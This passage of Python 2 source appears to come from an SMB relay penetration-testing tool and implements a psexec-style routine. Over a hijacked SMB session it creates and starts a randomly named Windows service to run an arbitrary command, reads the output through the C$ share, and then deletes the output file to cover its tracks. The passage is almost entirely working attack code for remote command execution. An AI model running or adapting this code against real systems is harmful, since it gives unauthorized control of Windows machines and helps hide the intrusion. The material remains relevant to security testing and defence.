("OpenFunc", "\x12\x00"),
("allocsize", "\x00\x00\x00\x00"),
("Timeout", "\x00\x00\x00\x00"),
("Reserved2", "\x00\x00\x00\x00"),
("Bcc", "\x0b\x00"),
("Terminator", ""),
("File", "\\hola.txt"),
("FileNull", "\x00"),#00 00
])
def calculate(self):
#self.fields["File"] = self.fields["File"].encode('utf-16le')
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Terminator"])+str(self.fields["File"])+str(self.fields["FileNull"])))
class ReadRequest(Packet):
fields = OrderedDict([
("Wordcount", "\x05"),
("FID", "\x02\x40"),
("Count", "\xf0\xff"),
("Offset", "\x00\x00\x00\x00"),
("RemainingBytes", "\xf0\xff"),
("Bcc", "\x00\x00"),
])
class ReadRequestAndX(Packet):
fields = OrderedDict([
("Wordcount", "\x0C"),
("AndXCommand", "\xff"),
("Reserved", "\x00"),
("AndXOffset", "\xde\xde"),#
("FID", "\x02\x40"),
("Offset", "\x00\x00\x00\x00"),
("MaxCountLow", "\xf0\xff"),
("MinCount", "\xf0\xff"),
("Timeout", "\xff\xff\xff\xff"),
("RemainingBytes", "\xf0\xff"),
("HighOffset", "\x00\x00\x00\x00"),
("Bcc", "\x00\x00"),
])
class CloseRequest(Packet):
fields = OrderedDict([
("Wordcount", "\x03"),
("FID", "\x00\x00"),
("LastWrite", "\xff\xff\xff\xff"),
("Bcc", "\x00\x00"),
])
class DeleteFileRequest(Packet):
fields = OrderedDict([
("Wordcount", "\x01"),
("SearchAttributes", "\x06\x00"),
("Bcc", "\x1b\x00"),
("BuffType", "\x04"),
("File", ""),
("FileNull", "\x00\x00"),
])
def calculate(self):
self.fields["File"] = self.fields["File"].encode('utf-16le')
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["BuffType"])+str(self.fields["File"])+str(self.fields["FileNull"])))
class SMBEcho(Packet):
fields = OrderedDict([
("Wordcount", "\x01"),
("EchoCount", "\x01\x00"),
("Bcc", "\x1b\x00"),
("File", "LWO CW VLO DEO MAW LMW ARW"),#nt4 style.
("FileNull", "\x00"),
])
###########################PSEXEC#############################################
def ExtractCommandOutput(data):
DataLen = struct.unpack("<H", data[61:63])[0]
Output = data[63:63+DataLen]
return Output
def SMBReadRecv(s):
Completedata=[]
data=''
Start=time.time()
s.setblocking(0)
while 1:
if Completedata and time.time()-Start > 0.5:#Timeout
break
try:
data = s.recv(1024)
if data:
Completedata.append(data)
Start=time.time()
else:
break
except:
pass
s.setblocking(1)
return s, ''.join(Completedata)
def RunCmd(data, s, clientIP, Username, Domain, Command, Logs, Host):
if data == None:
return False
head = SMBHeader(cmd="\xa2",flag1="\x18", flag2="\x02\x28",mid="\x05\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBNTCreateData()
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
## Fail Handling.
if data[8:10] == "\xa2\x22":
print "[+] NT_CREATE denied. SMB Signing mandatory or this user has no privileges on this workstation.\n"
return False
## DCE/RPC Write.
if data[8:10] == "\xa2\x00":
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x06\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
x = SMBDCEData()
x.calculate()
f = data[42:44]
t = SMBWriteData(FID=f,Data=x)
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
## DCE/RPC Read.
if data[8:10] == "\x2f\x00":
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x07\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBReadData(FID=f)
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
## DCE/RPC SVCCTLOpenManagerW.
if data[8:10] == "\x2e\x00":
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x08\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
w = SMBDCESVCCTLOpenManagerW(MachineNameRefID="\x00\x00\x03\x00")#, MachineName="\\\\"+Host[0])
w.calculate()
x = SMBDCEPacketData(Data=w)
x.calculate()
t = SMBWriteData(FID=f,Data=x)
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
## DCE/RPC Read Answer.
if data[8:10] == "\x2f\x00":
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x09\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBReadData(FID=f)
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
## DCE/RPC SVCCTLCreateService.
if data[8:10] == "\x2e\xb0":
print "[+] Server returned NT_STATUS_PIPE_DISCONNECTED, no admin rights on that pipe.\n"
return False
## DCE/RPC SVCCTLCreateService.
if data[8:10] == "\x2e\x00":
if data[len(data)-4:] == "\x05\x00\x00\x00":
print "[+] Failed to open SVCCTL Service Manager, is that user a local admin on this host?\n"
return False
#print "[+] Creating service"
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
ContextHandler = data[88:108]
ServiceNameChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(11)])
ServiceIDChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(16)])
FileChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)])+'.bat'
FilePath = FileChars
w = SMBDCESVCCTLCreateService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars,DisplayNameID=ServiceIDChars, FileName=FilePath, ReferentID="\x21\x03\x03\x00",BinCMD=Command)
w.calculate()
x = SMBDCEPacketData(Opnum="\x0c\x00",Data=w)
x.calculate()
t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
## DCE/RPC Read Answer.
if data[8:10] == "\x2f\x00":
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
## DCE/RPC SVCCTLOpenService.
if data[8:10] == "\x2e\x00":
if data[len(data)-4:] == "\x05\x00\x00\x00":
print "[+] Failed to create the service\n"
return False
#print "[+] Service name: %s with display name: %s successfully created"%(ServiceNameChars, ServiceIDChars)
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0c\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
w = SMBDCESVCCTLOpenService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars)
w.calculate()
x = SMBDCEPacketData(Opnum="\x10\x00",Data=w)
x.calculate()
t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
## DCE/RPC Read Answer.
if data[8:10] == "\x2f\x00":
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0d\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
## DCE/RPC SVCCTLStartService.
if data[8:10] == "\x2e\x00":
if data[len(data)-4:] == "\x05\x00\x00\x00":
print "[+] Failed to open the service.\n"
return False
ContextHandler = data[88:108]
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0e\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
w = SMBDCESVCCTLStartService(ContextHandle=ContextHandler)
x = SMBDCEPacketData(Opnum="\x13\x00",Data=w)
x.calculate()
t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
## DCE/RPC Read Answer.
if data[8:10] == "\x2f\x00":
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0f\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
##Tree connect c$
if data[8:10] == "\x2e\x00":
#print "[+] Command executed, grabbing output now."
Logs.info('Command executed:')
Logs.info(clientIP+","+Username+','+Command)
#time.sleep(1)#Maybe the command executed took some time..
#print "[+] Removing service.\n[+] Cleaning up files.\n"
head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x10\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\C$")
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(2048)
##OpenAndX.
if data[8:10] == "\x75\x00":
head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00")
t = OpenAndX(File="\\Windows\\Temp\\Results.txt", OpenFunc="\x01\x00")
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(2048)
##OpenAndX.
if data[8:10] == "\x2d\x34":
time.sleep(1)#not found, maybe still processing the cmd. Wait a bit.
head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00")
t = OpenAndX(File="\\Windows\\Temp\\Results.txt", OpenFunc="\x01\x00")
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(2048)
##OpenAndX.
if data[8:10] == "\x2d\x34":
time.sleep(1)#not found, command failed.
print "[+] The command failed."
return data
##ReadRequest.
## Need grab the size from Open And X and do it properly later. For now, only 65535 bytes printed.
if data[8:10] == "\x2d\x00":
ReturnedFID = data[41:43]
head = SMBHeader(cmd="\x2e",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x12\x00")
t = ReadRequestAndX(FID=ReturnedFID)
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
s, data = SMBReadRecv(s)
#print "[+] Output:\n"
print ExtractCommandOutput(data)
##Close Request
if data[8:10] == "\x2e\x00":
head = SMBHeader(cmd="\x04",flag1="\x18", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00")
t = CloseRequest(FID = ReturnedFID)
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(2048)
##DeleteFileRequest.
if data[8:10] == "\x04\x00":
head = SMBHeader(cmd="\x06",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x13\x00")
t = DeleteFileRequest(File="\\Windows\\Temp\\Results.txt")
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
#print "[+] Deleting file now."
s.send(buffer1)
data = s.recv(2048)
if data[8:10] == "\x06\x00":
#print "[+] File deleted, making sure it's not there anymore.."
head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00")
t = OpenAndX(File="\\Windows\\Temp\\Results.txt", OpenFunc="\x01\x00")
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(2048)
return data
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